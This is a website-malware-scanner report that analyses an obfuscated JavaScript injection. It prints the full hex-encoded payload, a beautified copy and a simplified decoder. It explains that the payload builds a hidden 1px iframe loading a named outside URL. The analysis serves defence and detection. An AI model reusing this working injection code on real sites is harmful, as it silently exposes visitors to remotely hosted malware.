JavaScript code injects hidden malicious iframe
Background
Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website visitor. The malicious iframe downloads content from remote malicious website. This infected website hosts suspicious JavaScript code injected in 3 files. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms.
Malicious action
Malicious iframes are often used to distribute malware hosted on external web resources(websites).
Website malware scanner report
Submission date: Thu Apr 18 12:46:28 2013
Infected website's files: 3
Website Malware Scanner sitescan report |
Malicious iframe injection detection |
Threat dump:
[[<script type='text/javascript' language='javascript' >
p=parseInt;
ss=(123)?String.fromCharCode:0;
asgq="28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!71!68!6a!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!71!68!6a!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!77!77!77!2e!74!65!61!6d!72!65!61!63!74!6@!76!65!2e!63!6f!6d!2f!77!70!2d!61!64!6d!6@!6e!2f!63!6c!6@!63!6b!65!72!2e!70!68!70!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!71!68!6a!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!71!68!6a!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!71!68!6a!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!71!68!6a!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b".replace(/@/g,"9").split("!");
try
{
document.body%26=0.1
}
catch(gdsgsdg)
{
zz=3;
dbshre=10;
if(dbshre)
{
vfvwe=0;
try
{
document;
}
catch(agdsg)
{
vfvwe=1;
}
if(!vfvwe)
{
e=eval;
}
s="";
if(zz)for(i=0;
i-486!=0;
i++)
{
if(window.document)s+=ss(p(asgq[i],16));
}
if(window.document)e(s);
}
}
</script>]]
Malware entry
Malware entry details.
Beautified script
- p = parseInt;
- ss = (123) ? String.fromCharCode : 0;
- asgq ="28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!71!68!6a!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!71!68!6a!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!77!77!77!2e!74!65!61!6d!72!65!61!63!74!6@!76!65!2e!63!6f!6d!2f!77!70!2d!61!64!6d!6@!6e!2f!63!6c!6@!63!6b!65!72!2e!70!68!70!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!71!68!6a!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!71!68!6a!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!71!68!6a!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!71!68!6a!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b".replace(/@/g,"9").split("!");
- try {
- document.body % 26 = 0.1
- } catch (gdsgsdg) {
- zz = 3;
- dbshre = 10;
- if (dbshre) {
- vfvwe = 0;
- try {
- document;
- } catch (agdsg) {
- vfvwe = 1;
- }
- if (!vfvwe) {
- e = eval;
- }
- s = "";
- if (zz) for (i = 0; i - 486 != 0; i++) {
- if (window.document) s += ss(p(asgq[i], 16));
- }
- if (window.document) e(s);
- }
- }
Simplified version of JavaScript injection
- asgq = "28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20...".split("!");
- s = "";
- for (i = 0; i - 486 != 0; i++) { s += String.fromCharCode(parseInt(asgq[i], 16)); }
- eval(s);
Malicious payload
Decoded payload generates hidden iframe to http://www.teamreactive.com/wp-admin/clicker[.]php
The website is Suspicious on Google Safe Browsing.
Blacklisting status
The website is Suspicious on Google Safe Browsing.
Google Safe Browsing analysis |
Malware clean-up
Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.
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